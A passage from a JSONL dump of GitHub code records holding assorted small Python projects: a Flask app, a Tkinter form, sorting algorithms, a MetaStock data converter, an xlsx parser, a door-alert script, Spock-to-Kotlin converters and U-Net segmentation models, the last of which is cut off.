sys.platform.startswith('win')\n# if WIN:\n# prefix = 'sqlite:///'\n# else:\n# prefix = 'sqlite:////'\n\n\n\n# app.config['SQLALCHEMY_DATABASE_URI'] = prefix + os.path.join(app.root_path, 'data.db')\n# app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n#\n# db = SQLAlchemy(app)\n\n\n# @app.cli.command()\n# @click.option('--drop', is_flag=True, help='Create after drop.')\n# def initdb(drop):\n# \"\"\"Initialize the database.\"\"\"\n# if drop:\n# db.drop_all()\n# db.create_all()\n# click.echo('Initialized database.')\n#\n#\n# @app.cli.command()\n# def forge():\n# \"\"\"Generate fake data.\"\"\"\n# db.create_all()\n#\n#\n# user = User(name=name)\n# db.session.add(user)\n# for m in movies:\n# movie = Movie(title=m['title'], year=m['year'])\n# db.session.add(movie)\n#\n# db.session.commit()\n# click.echo('Done.')\n#\n#\n# class User(db.Model):\n# id = db.Column(db.Integer, primary_key=True)\n# name = db.Column(db.String(20))\n#\n\n#\n# class Movie(db.Model):\n# id = db.Column(db.Integer, primary_key=True)\n# title = db.Column(db.String(60))\n# year = db.Column(db.String(4))\n#\n#\n# @app.route('/')\n# def index():\n# return render_template('index.html', name=name, movies=movies)\n# user = User.query.first()\n# movies = Movie.query.all()\n# return render_template('index.html', user=user, movies=movies)\n#\n\n\n@app.errorhandler(404)\ndef error_404(e):\n return '404 error',404\n\n@app.errorhandler(Exception)\ndef all_exception_handler(e):\n # 对于 HTTP 异常,返回自带的错误描述和状态码\n # 这些异常类在 Werkzeug 中定义,均继承 HTTPException 类\n if isinstance(e, HTTPException):\n return e.desciption, e.code\n return 'Error', 500\n\n\n@app.route('/hello')\ndef hello():\n return 'welcome to My watchlist!'\n\n@app.route('/user/<name>')\ndef user_page(name):\n return 'User: %s '% name\n\n@app.route('/test')\ndef test_url_for():\n # 下面是一些调用示例:\n print(url_for('hello')) # 输出:/\n # 注意下面两个调用是如何生成包含 URL 变量的 URL 的\n print(url_for('user_page', name='greyli')) # 输出:/user/greyli\n print(url_for('user_page', name='peter')) # 输出:/user/peter\n print(url_for('test_url_for')) # 输出:/test\n # 下面这个调用传入了多余的关键字参数,它们会被作为查询字符串附加到 URL 后面。\n print(url_for('test_url_for', num=2)) # 输出:/test?num=2\n return 'Test page'\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Colin-Root/wxb_web","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19251175015","text":"# entrada de dados com TKinter\nfrom tkinter import *\n\njanela = Tk()\njanela.title(\"Criando uma Entry\")\njanela.geometry(\"300x300\")\n\nlabel_nome = Label(janela, text=\"Nome\")\nlabel_nome.grid(column=0, row=0)\nnome = Entry(janela, width=20, state=\"disable\")\nnome.grid(column=1, row=0)\n\nlabel_idade = Label(janela, text=\"Idade\")\nlabel_idade.grid(column=0, row=1)\nidade = Entry(janela, width=20)\nidade.grid(column=1, row=1)\n\nlabel_pais = Label(janela, text=\"Pais\")\nlabel_pais.grid(column=0, row=2)\npais = Entry(janela, width=20)\npais.grid(column=1, row=2)\n\n\ndef testando():\n n = nome.get()\n i = idade.get()\n p = pais.get()\n\n label = Label(janela, text= n + \" \" + i + \" \" + p)\n label.grid(column=1, row=4)\n print(n, i, p)\n\n\nb = Button(janela, text=\"Teste\", bg=\"green\", command=testando)\nb.grid(column=0, row=4)\n\n\n\njanela.mainloop()","repo_name":"NIKAO-CODE/python-tkinter","sub_path":"estudo/aula5.py","file_name":"aula5.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11463627712","text":"#вывести действия которыми можно дойти от A до B\r\na = int(input())\r\nb = int(input())\r\nwhile a != b:\r\n if (a // 2 >= b) and (a % 2 == 0):\r\n print(':2')\r\n a //= 2\r\n else:\r\n print('-1')\r\n a -= 1\r\n","repo_name":"VladimirBeletskiy/Python_Practice","sub_path":"PyBasics Week 2/Coursea_PythonBasics_Performer divider.py","file_name":"Coursea_PythonBasics_Performer divider.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28739369985","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nimport os\nfrom setuptools import setup, find_packages\n\n\nwith open('encrypted_model_fields/__init__.py', 'r') as init_file:\n version = re.search(\n '^__version__ = [\\'\"]([^\\'\"]+)[\\'\"]',\n init_file.read(),\n re.MULTILINE,\n ).group(1)\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-encrypted-model-fields',\n version=version,\n packages=find_packages(),\n license='MIT',\n include_package_data=True,\n description=(\n 'A set of django fields that internally are encrypted using the '\n 'cryptography.io native python encryption library.'\n ),\n long_description=open('README.rst').read(),\n url='http://gitlab.com/lansharkconsulting/django/django-encrypted-model-fields/',\n download_url='https://gitlab.com/lansharkconsulting/django/django-encrypted-model-fields/repository/archive.tar.gz?ref=v{}'.format(version),\n author='Scott Sharkey',\n author_email='ssharkey@lanshark.com',\n maintainer=\"Scott Sharkey\",\n maintainer_email=\"ssharkey@lanshark.com\",\n install_requires=[\n 'Django>=2.0',\n 'cryptography>=2.4',\n ],\n tests_require=['tox'],\n keywords=['encryption', 'django', 'fields', ],\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Environment :: Web Environment',\n 'Operating System :: OS Independent',\n \"Operating System :: POSIX\",\n \"Operating System :: Unix\",\n \"Topic :: Internet :: WWW/HTTP\",\n 'Topic :: Security',\n 'Topic :: System :: Systems Administration :: Authentication/Directory',\n \"Programming Language :: Python\",\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Framework :: Django',\n 'Framework :: Django :: 1.9',\n 'Framework :: Django :: 1.10',\n 'Framework :: Django :: 1.11',\n 'Framework :: Django :: 2.0',\n ],\n)\n","repo_name":"ms32035/django-encrypted-model-fields","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"37651439576","text":"import os.path\nfrom stocks import allstocks, euronext, stockgroup100\n\nimport struct\nfrom stocks import allstocks\n\nclass MetaConverter():\n MASTER_READ_COUNT = 53\n XMASTER_READ_COUNT = 150\n FDATA_READ_COUNT = 24\n\n MASTER_FX = 0\n MASTER_SYMBOL = 36\n MASTER_NAME = 7\n MASTER_FIRST_DATE = 25\n MASTER_LAST_DATE = 29\n\n\n XMASTER_MARK = 0\n XMASTER_SYMBOL = 1\n XMASTER_NAME = 16\n XMASTER_D = 62\n XMASTER_FN = 65\n XMASTER_END_DATE_1 = 80\n XMASTER_START_DATE_1 = 104\n XMASTER_START_DATE_2 = 108\n XMASTER_END_DATE_2 = 116\n\n DataPath = \"testdata/\"\n\n def __init__(self):\n print(\"init\")\n\n def fmsbintoieee(self, buffer):\n v3 = 0\n v2 = 0\n v1 = 0\n v0 = 0\n\n if buffer[3] == 0:\n return 0\n\n # print(buffer)\n\n sign = buffer[2] & 0x80\n v3 |= sign\n exp = buffer[3] - 2\n\n v3 |= ((exp >> 1) & 0xff)\n v2 |= ((exp << 7) & 0xff)\n v2 |= (buffer[2] & 0x7f)\n #v2 &= 0x7f\n v1 = buffer[1]\n v0 = buffer[0]\n\n # print(\"%x\" % v3)\n # print(\"%x\" % v2)\n # print(\"%x\" % v1)\n # print(\"%x\" % v0)\n\n h = hex((v3 << 24) + (v2 << 16) + (v1 << 8) + (v0))\n # print(h)\n v = float(struct.unpack('<f', struct.pack('<I', int(h,0)))[0])\n\n # print(v)\n\n return v\n\n def parse_data(self, name, number, extension):\n\n fname = self.DataPath + \"/F%d.%s\" % (number, extension)\n\n if os.path.isfile(fname) == False:\n return\n\n\n\n if not allstocks.__contains__(name):\n if not euronext.__contains__(name):\n if not stockgroup100.__contains__(name):\n return\n\n print(\"name :\" + name)\n\n fo = open(fname, \"rb\")\n out = open(\"csv/\" + name + \".csv\", \"w\")\n out.write(\"Index,Date,Open,High,Low,Close,Volume\\n\")\n blk = fo.read(self.FDATA_READ_COUNT)\n while True:\n blk = fo.read(self.FDATA_READ_COUNT)\n\n if blk == b'':\n break\n\n if len(blk) != self.FDATA_READ_COUNT:\n continue\n date = self.fmsbintoieee(blk[0:4])\n openval = self.fmsbintoieee(blk[4:8])\n highval = self.fmsbintoieee(blk[8:12])\n lowval = self.fmsbintoieee(blk[12:16])\n closeval = self.fmsbintoieee(blk[16:20])\n amountval = self.fmsbintoieee(blk[20:24])\n\n if int(date)/10000 < 100:\n continue;\n\n year = int(date)/10000 + 1900\n month = (int(date)%10000)/100\n day = (int(date)%10000)%100\n out.write(\"%d,%d-%02d-%02d,%.2f,%.2f,%.2f,%.2f,%d\\n\" % (int(date), year, month, day, openval, highval , lowval , closeval , int(amountval)))\n\n #print(date)\n #print(openval)\n # return\n\n fo.close()\n out.close()\n\n def parse_master( self, fileName ):\n print(\"parse_master called\")\n fo = open(fileName, \"rb\")\n\n blk = fo.read(self.MASTER_READ_COUNT)\n while True:\n blk = fo.read(self.MASTER_READ_COUNT)\n if (blk) == b'':\n break\n\n if len(blk) == self.MASTER_READ_COUNT:\n num = blk[self.MASTER_FX]\n\n ind = blk.index(b'\\0', self.MASTER_SYMBOL)\n #a = \"%s\" % blk[self.MASTER_SYMBOL:self.MASTER_SYMBOL + 5].decode('ascii')\n a = \"%s\" % blk[self.MASTER_SYMBOL:ind].decode('ascii')\n\n b = \"%s\" % blk[self.MASTER_NAME:self.MASTER_NAME + 16]\n c = a.replace(' ', '')\n c = c.replace('\\0','')\n #print(c)\n\n self.parse_data(c, num, \"DAT\")\n\n #print(blk)\n #break\n\n\n fo.close()\n print(\"end\")\n\n def parse_xmaster(self, fileName):\n print(\"parse_xmaster called\")\n fo = open(fileName, \"rb\")\n\n blk = fo.read(self.XMASTER_READ_COUNT)\n while True:\n blk = fo.read(self.XMASTER_READ_COUNT)\n if (blk) == b'':\n break\n\n if len(blk) == self.XMASTER_READ_COUNT:\n num = (blk[self.XMASTER_FN + 1] << 8) + blk[self.XMASTER_FN]\n\n ind = blk.index(b'\\0', self.XMASTER_SYMBOL)\n #a = \"%s\" % blk[self.XMASTER_SYMBOL:self.XMASTER_SYMBOL + 5].decode('ascii')\n a = \"%s\" % blk[self.XMASTER_SYMBOL:ind].decode('ascii')\n\n #b = \"%s\" % blk[self.MASTER_NAME:self.MASTER_NAME + 16]\n c = a.replace(' ', '')\n c = c.replace('\\0','')\n # print(c)\n\n self.parse_data(c, num, \"MWD\")\n\n # print(blk)\n # break\n\n fo.close()\n print(\"end\")\n\n\nc = MetaConverter()\n\nc.parse_master(c.DataPath + \"/MASTER\")\nc.parse_xmaster(c.DataPath + \"/XMASTER\")","repo_name":"qimliq/tradesimulator","sub_path":"metapy.py","file_name":"metapy.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28667086999","text":"\"\"\"\nSorting Algo\n\n1. Heap sort\n2. Merge sort\n3. Quick sort\n\n\nAlgorithm \t Time Complexity\t Space Complexity\n \t Best \t Average \tWorst\t Worst\n\nSelection Sort\tΩ(n^2)\t θ(n^2)\t O(n^2)\t O(1)\nBubble Sort\t Ω(n)\t θ(n^2)\t O(n^2)\t O(1)\nInsertion Sort\tΩ(n)\t θ(n^2)\t O(n^2)\t O(1)\nHeap Sort\t Ω(n log(n))\t θ(n log(n))\t O(n log(n))\t O(1)\nQuick Sort\t Ω(n log(n))\t θ(n log(n))\t O(n^2)\t O(log(n))\nMerge Sort\t Ω(n log(n))\t θ(n log(n))\t O(n log(n))\t O(n)\nBucket Sort\t Ω(n +k)\t θ(n +k)\t O(n^2)\t O(n)\nRadix Sort\t Ω(nk)\t θ(nk)\t O(nk)\t O(n + k)\nCount Sort\t Ω(n +k)\t θ(n +k)\t O(n +k)\t O(k)\nShell Sort\t Ω(n)\t θ(n log(n))\t O(n log(n))\t O(1)\nTim Sort\t Ω(n)\t θ(n log(n))\t O(n log (n))\t O(n)\nTree Sort\t Ω(n log(n))\t θ(n log(n))\t O(n^2)\t O(n)\nCube Sort\t Ω(n)\t θ(n log(n))\t O(n log(n))\t O(n)\n\"\"\"\n\n####################\n\t# Heap Sort\n####################\n\n\n\n\n####################\n\t# Merge Sort\n####################\ndef mergeSort(array):\n if len(array) > 1:\n mid = len(array)//2\n L = array[:mid]\n R = array[mid:]\n mergeSort(L)\n mergeSort(R)\n i = j = k = 0\n while i < len(L) and j < len(R):\n if L[i] < R[j]:\n array[k] = L[i]\n i += 1\n else:\n array[k] = R[j]\n j += 1\n k += 1\n\n while i < len(L):\n array[k] = L[i]\n i += 1\n k += 1\n \n while j < len(R):\n array[k] = R[j]\n j += 1\n k += 1\n\n\narray = [ 10, 7, 8, 9, 1, 5]\nprint(f'Original array: {array}')\nmergeSort(array)\nprint(f'Sorted array: {array}')\n\n\n\n####################\n\t# Quick Sort\n####################\ndef partition(array, low, high):\n\t# pivot = last element of the array\n\tpivot = array[high]\n\ti = low - 1\n\n\tfor j in range(low, high):\n\t\tif array[j] <= pivot:\n\t\t\ti = i + 1\n\t\t\tarray[i], array[j] = array[j], array[i]\n\n\tarray[i + 1], array[high] = array[high], array[i + 1]\n\treturn i + 1\n\n\ndef quick_sort(array, low, high):\n\tif low < high:\n\t\tpartition_index = partition(array, low, high)\n\t\tquick_sort(array, low, partition_index - 1)\n\t\tquick_sort(array, partition_index + 1, high)\n\n\narray = [ 10, 7, 8, 9, 1, 5]\nprint(f'Original array: {array}')\nquick_sort(array, 0, len(array) - 1)\nprint(f'Sorted array: {array}')\n\n","repo_name":"kuntal-temp/all_in_one","sub_path":"Learn_ML/100_DS/sort_algo.py","file_name":"sort_algo.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9159174719","text":"import math\nfrom re import I\n#4\n\n#przykład1\nprint(math.exp(10)) #e\n\n#przykład2\n\na = math.sin(8) # obliczanie sinusa\nb = 5 + (a**2) # obliczanie nawiasu\nc = math.log(b) # logarytm naturalny z nawiasu\ni = 1/6\nd = c**i # podniesienie do potęgi 1/6\nprint(d) # wydrukowanie wyniku\n\n#przykład3\nprint(math.floor(3.55)) #zaokrąglenie do dołu\n\n#przykład4\nprint(math.ceil(4.80)) #zaokrąglenie do góry","repo_name":"MgdlenaT/wizualizacjazadania","sub_path":"Code-learning-main/WD/Zadania/Lab 1/Z4.py","file_name":"Z4.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8849596003","text":"from django.core.files.storage import FileSystemStorage\nfrom xlsx_parser.settings import MEDIA_ROOT\nfrom .database import DB\n\nimport openpyxl\nimport os\n\n\ndef validator(filename:str) -> bool:\n \"\"\" Валидация файла \"\"\" \n if filename.endswith('xlsx') or filename.endswith('xls'):\n print(\"OK\")\n return False\n return True\n\n\ndef save_file(file) -> str:\n \"\"\" Сохраняет файл локально \"\"\" \n fs = FileSystemStorage()\n path = fs.save(file.name, file)\n return os.path.join(MEDIA_ROOT, path)\n\n\ndef parser(path:str) -> bool:\n \"\"\" Парсит файл с переносом данных в бд\"\"\" \n workbook = openpyxl.load_workbook(path)\n sheet = workbook.sheetnames[0]\n worksheet = workbook[sheet]\n\n db = DB()\n for i, row in enumerate(worksheet.rows):\n line = ''.join([str(i.value) for i in row if i != None]).replace('None', '')\n row_list = line.split(';')\n if i == 0: \n db.set_header(row_list)\n continue\n try:db.add_to_db(row_list)\n except: return False\n\n return True\n","repo_name":"Amwap/test-task","sub_path":"myapp/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16296435983","text":"\"\"\"\nClass to hold magic numbers, static data, Objects, etc...\n\"\"\"\n# run pinout for pin diagram\nDOOR_SWITCH_PIN = 4\n\n# trusted devices\nLIST_OF_DEVICES = []\n\n# SMS message type\nMESSAGE_TYPE = 'ALERT'\n\nON = 1\nOFF = 0\n\n# Address of wemo switch\nADDRESS = '192.168.1.198'\n#URL = 'http://192.168.1.198:{PORT}/setup.xml'\n\nPHONE_NUMBERS = '<INSERT_YOUR_NUMBER>@tmomail.net, <INSERT_YOUR_NUMBER>@tmomail.net'\n\n# Check devices connected to local network\nARP_CMD = \"sudo arp-scan -l | grep '{ADDR}'\"\n\n\nclass TrustedDevice(object):\n \"\"\"\n Object representation of a Bluetooth Device.\n \"\"\"\n def __init__(self, **kwargs):\n \"\"\"\n Initialize of Bluetooth device\n \"\"\"\n print(kwargs)\n for key in kwargs.keys():\n self.__setattr__(key, kwargs[key])\n","repo_name":"Tonio101/DoorOpenNotifier","sub_path":"model_data.py","file_name":"model_data.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5894547681","text":"import re\n\nfrom context import ParsingContext\n\nTYPE = '[A-Z][a-zA-Z_0-9<>,.]+(, )*[a-zA-Z_0-9<>,.]+' # 2 groups\nVAR_NAME = '[a-zA-Z_0-9<>,]+'\nMEMBER_VAR_RULE = '^(\\s+)(val )?(' + TYPE + ')\\s+(' + VAR_NAME + ')\\s*$§\\\\1private lateinit var \\\\5: \\\\3§'\nMEMBER_VAL_RULE = '^(\\s+)(val )?(' + TYPE + ')\\s+(' + VAR_NAME + ')\\s*=(.*)§\\\\1private val \\\\5: \\\\3 =\\\\6§'\nLOCAL_VAL_RULE = '^(\\s+)(val )?(' + TYPE + ')\\s+(' + VAR_NAME + ')\\s*=(.*)§\\\\1val \\\\5: \\\\3 =\\\\6§'\nEND_MEMBERS_PATTERN = re.compile('^.*\\s+(fun .*{)')\n\n\nclass VarsParser(object):\n @staticmethod\n def parse(spock):\n pattern, replace = MEMBER_VAR_RULE.split('§')[0:2]\n state = ParsingContext.INDETERMINATE\n new_lines = []\n for line in spock:\n if 'class' in line:\n state = ParsingContext.MEMBERS\n new_lines.append(line)\n continue\n\n if state == ParsingContext.MEMBERS:\n\n if len(re.findall(END_MEMBERS_PATTERN, line)):\n new_lines.append(line)\n state = ParsingContext.FUNCTION\n continue\n new_line = re.sub(pattern, replace, line)\n new_lines.append(new_line)\n continue\n new_lines.append(line)\n\n return new_lines\n\n\nclass ValsParser(object):\n @staticmethod\n def parse(spock):\n pattern, replace = '', ''\n state = ParsingContext.INDETERMINATE\n new_lines = []\n for line in spock:\n if 'class' in line:\n state = ParsingContext.MEMBERS\n pattern, replace = MEMBER_VAL_RULE.split('§')[0:2]\n new_lines.append(line)\n continue\n\n if state == ParsingContext.MEMBERS:\n if len(re.findall(END_MEMBERS_PATTERN, line)):\n new_lines.append(line)\n state = ParsingContext.FUNCTION\n pattern, replace = LOCAL_VAL_RULE.split('§')[0:2]\n continue\n\n new_line = re.sub(pattern, replace, line)\n new_lines.append(new_line)\n continue\n\n if state == ParsingContext.FUNCTION:\n new_line = re.sub(pattern, replace, line)\n new_lines.append(new_line)\n continue\n new_lines.append(line)\n return new_lines\n\n\nclass SwapPrivateToProtectedParser(object):\n @staticmethod\n def parse(spock):\n\n for line in spock:\n if '@Parameterized' in line:\n break\n else:\n return spock\n\n state = ParsingContext.INDETERMINATE\n new_lines = []\n class_name_line = ''\n for line in spock:\n if 'class' in line and state == ParsingContext.INDETERMINATE:\n state = ParsingContext.MEMBERS\n class_name_line = re.sub('{', ': Setup() {', line)\n new_lines.append('abstract class Setup {')\n continue\n\n if state == ParsingContext.MEMBERS:\n if '@Before' in line:\n state = ParsingContext.BEFORE\n new_lines.append(line)\n continue\n\n if len(re.findall(END_MEMBERS_PATTERN, line)):\n state = ParsingContext.FUNCTION\n new_lines.append('}\\n')\n new_lines.append(class_name_line)\n new_lines.append('')\n new_lines.append(re.sub('private', 'protected', line))\n continue\n\n new_lines.append(re.sub('private', 'protected', line))\n continue\n\n if state == ParsingContext.BEFORE:\n if re.match('^ {4}}', line):\n new_lines.append(line)\n new_lines.append('}\\n')\n new_lines.append(class_name_line)\n state = ParsingContext.FUNCTION\n continue\n\n new_lines.append(line)\n return new_lines\n","repo_name":"xklakoux/spock2kotlin","sub_path":"declarations.py","file_name":"declarations.py","file_ext":"py","file_size_in_byte":4035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74123311581","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'changedSort' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n#\ndef getSmallestChar(s, freq, prev_char):\n for char in sorted(freq.keys()):\n if freq[char] > 0 and char > prev_char:\n freq[char] -= 1\n if freq[char] == 0:\n del freq[char]\n return char\n return -1\n\ndef getLargestChar(s, freq, prev_char):\n for char in reversed(sorted(freq.keys())):\n if freq[char] > 0 and char < prev_char:\n freq[char] -= 1\n if freq[char] == 0:\n del freq[char]\n return char\n return -1\n\ndef changedSort(s):\n # Write your code here\n freq = {}\n for char in s:\n if char in freq:\n freq[char] += 1\n else:\n freq[char] = 1\n\n output = \"\"\n\n while(len(output) != len(s)):\n prev_char = getSmallestChar(s, freq, \"_\")\n output += str(prev_char)\n\n while(prev_char != -1):\n prev_char = getSmallestChar(s, freq, prev_char)\n # print(prev_char)\n if prev_char != -1:\n output += str(prev_char)\n\n # print(output + str(\" after getSmallestChar\"))\n\n prev_char = \"}\"\n while(prev_char != -1):\n prev_char = getLargestChar(s, freq, prev_char)\n # print(prev_char)\n if prev_char != -1:\n output += str(prev_char)\n\n return output\n\nprint(changedSort(\"abbcyxc\"))\n","repo_name":"sreenivasanac/fathom_test","sub_path":"fathom_test.py","file_name":"fathom_test.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"32264951171","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nn=int(input())\ndays=list(map(int,input().split()))\n\nif days[-1] == 0:\n print(\"UP\")\nelif days[-1] == 15:\n print(\"DOWN\")\nelif n == 1:\n print(\"-1\")\nelse:\n if days[-1] - days[-2] > 0:\n print(\"UP\")\n else:\n print(\"DOWN\")\n\n","repo_name":"minus9d/programming_contest_archive","sub_path":"codeforces/373-div2/a/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2525072506","text":"import fitz\n\n### READ IN PDF\n\ndoc = fitz.open(\"input.pdf\")\npage = doc[0]\n\n### SEARCH\n\ntext = \"Sample text\"\ntext_instances = page.searchFor(text)\n\n### HIGHLIGHT\n\nfor inst in text_instances:\n highlight = page.addHighlightAnnot(inst)\n\n\n### OUTPUT\n\ndoc.save(\"output.pdf\", garbage=4, deflate=True, clean=True)","repo_name":"tarunbhavnani/ml_diaries","sub_path":"PyMuPDF/Pymupdf_highlight (2).py","file_name":"Pymupdf_highlight (2).py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22475758724","text":"from rest_framework import serializers\nfrom dashboard.models import Device, Metric\n\n\nclass DeviceSerializer(serializers.ModelSerializer):\n temperature = serializers.SerializerMethodField()\n humidity = serializers.SerializerMethodField()\n\n class Meta:\n model = Device\n fields = \"__all__\"\n read_only_fields = (\n 'temperature', 'humidity'\n )\n\n def get_temperature(self, obj):\n data = None\n try:\n data = Metric.objects.filter(device=obj).latest('created_date')\n except Metric.DoesNotExist:\n return 0\n return data.temperature\n\n def get_humidity(self, obj):\n data = None\n try:\n data = Metric.objects.filter(device=obj).latest('created_date')\n except Metric.DoesNotExist:\n return 0\n return data.humidity\n\n\nclass MetricSerializer(serializers.ModelSerializer):\n class Meta:\n model = Metric\n fields = \"__all__\"\n","repo_name":"AliBigdeli/Django-Metric-Monitoring-App","sub_path":"dashboard/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"4672432315","text":"# Source: https://github.com/doodledood/carvana-image-masking-challenge/models (MIT)\n\n\"\"\"\nImplementation of stacked `U-net: Convolutional networks for biomedical image segmentation <https://arxiv.org/pdf/1505.04597>`_\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n__all__ = ['UNet960', 'UNet_stack']\n\nclass ConvBNReluStack(nn.Module):\n def __init__(self, in_dim, out_dim, kernel_size=3, stride=1, padding=1, **kwargs):\n super(ConvBNReluStack, self).__init__()\n\n in_dim = int(in_dim)\n out_dim = int(out_dim)\n\n self.conv = nn.Conv2d(in_dim, out_dim, kernel_size, stride=stride, padding=padding)\n # nn.init.xavier_normal(self.conv.weight.data)\n\n self.bn = nn.BatchNorm2d(out_dim)\n self.activation = nn.PReLU() # nn.LeakyReLU(0.2)\n\n def forward(self, inputs_):\n x = self.conv(inputs_)\n x = self.bn(x)\n x = self.activation(x)\n\n return x\n\n\nclass UNetDownStack(nn.Module):\n def __init__(self, input_dim, filters, pool=True):\n super(UNetDownStack, self).__init__()\n\n self.stack1 = ConvBNReluStack(input_dim, filters, 1, stride=1, padding=0)\n self.stack3 = ConvBNReluStack(input_dim, filters, 3, stride=1, padding=1)\n self.stack5 = ConvBNReluStack(input_dim, filters, 5, stride=1, padding=2)\n self.stack_pool = nn.AvgPool2d(3, stride=1, padding=1)\n self.reducer = ConvBNReluStack(filters * 3 + input_dim, filters, kernel_size=1, stride=1, padding=0)\n\n # self.pool = ConvBNReluStack(filters, filters, kernel_size, stride=2, padding=1) if pool else None\n self.pool = nn.MaxPool2d(2, stride=2) if pool else None\n # ConvBNReluStack(filters, filters, kernel_size, stride=2, padding=1) if pool else None\n # nn.MaxPool2d(2, stride=2) if pool else None\n\n def forward(self, inputs_):\n x1 = self.stack1(inputs_)\n x3 = self.stack3(inputs_)\n x5 = self.stack5(inputs_)\n x_pool = self.stack_pool(inputs_)\n\n x = torch.cat([x1, x3, x5, x_pool], dim=1)\n x = self.reducer(x)\n\n if self.pool:\n return x, self.pool(x)\n\n return x\n\n\nclass UNetUpStack(nn.Module):\n def __init__(self, input_dim, filters, kernel_size=3):\n super(UNetUpStack, self).__init__()\n\n self.scale_factor = 2\n self.stack1 = ConvBNReluStack(input_dim, filters, 1, stride=1, padding=0)\n self.stack3 = ConvBNReluStack(input_dim, filters, 3, stride=1, padding=1)\n self.stack5 = ConvBNReluStack(input_dim, filters, 5, stride=1, padding=2)\n self.stack_pool = nn.AvgPool2d(3, stride=1, padding=1)\n self.reducer = ConvBNReluStack(filters * 3 + input_dim, filters, kernel_size=1, stride=1, padding=0)\n\n def forward(self, inputs_, down):\n x = F.interpolate(inputs_, scale_factor=self.scale_factor)\n x = torch.cat([x, down], dim=1)\n\n x1 = self.stack1(x)\n x3 = self.stack3(x)\n x5 = self.stack5(x)\n x_pool = self.stack_pool(x)\n\n x = torch.cat([x1, x3, x5, x_pool], dim=1)\n x = self.reducer(x)\n\n return x\n\n\nclass UNet_stack(nn.Module):\n\n @staticmethod\n def get_n_stacks(input_size, **_):\n n_stacks = 0\n width, height = input_size, input_size\n while width % 2 == 0 and height % 2 == 0:\n n_stacks += 1\n width = width // 2\n height = height // 2\n\n return n_stacks\n\n def __init__(self, input_size=512, filters=12, kernel_size=3, max_stacks=6, **_):\n super(UNet_stack, self).__init__()\n self.n_stacks = min(self.get_n_stacks((input_size, input_size)), max_stacks)\n\n # dynamically create stacks\n self.down1 = UNetDownStack(3, filters)\n prev_filters = filters\n for i in range(2, self.n_stacks + 1):\n n = i\n layer = UNetDownStack(prev_filters, prev_filters * 2)\n layer_name = 'down' + str(n)\n setattr(self, layer_name, layer)\n prev_filters *= 2\n\n self.center = UNetDownStack(prev_filters, prev_filters * 2, pool=False)\n\n prev_filters = prev_filters * 3\n for i in range(self.n_stacks):\n n = self.n_stacks - i\n layer = UNetUpStack(prev_filters, prev_filters // 3, kernel_size)\n layer_name = 'up' + str(n)\n setattr(self, layer_name, layer)\n prev_filters = prev_filters // 2\n\n self.classify = nn.Conv2d(prev_filters * 2 // 3, 1, kernel_size, stride=1, padding=1)\n # nn.init.xavier_normal(self.classify.weight.data)\n\n def forward(self, inputs_):\n down1, down1_pool = self.down1(inputs_)\n\n downs = [down1]\n\n # execute down nodes\n prev_down_pool = down1_pool\n for i in range(2, self.n_stacks + 1):\n layer_name = 'down' + str(i)\n layer = getattr(self, layer_name)\n down, prev_down_pool = layer(prev_down_pool)\n downs.append(down)\n\n center = self.center(prev_down_pool)\n\n # excute up nodes\n prev = center\n for i in range(self.n_stacks):\n n = self.n_stacks - i\n matching_down = downs.pop()\n layer_name = 'up' + str(n)\n layer = getattr(self, layer_name)\n prev = layer(prev, matching_down)\n\n x = self.classify(prev)\n\n return x\n\n\nclass UNet960(nn.Module):\n def __init__(self, filters=12, kernel_size=3, **_):\n super(UNet960, self).__init__()\n\n # 960\n self.down1 = UNetDownStack(3, filters)\n # 480\n self.down2 = UNetDownStack(filters, filters * 2)\n # 240\n 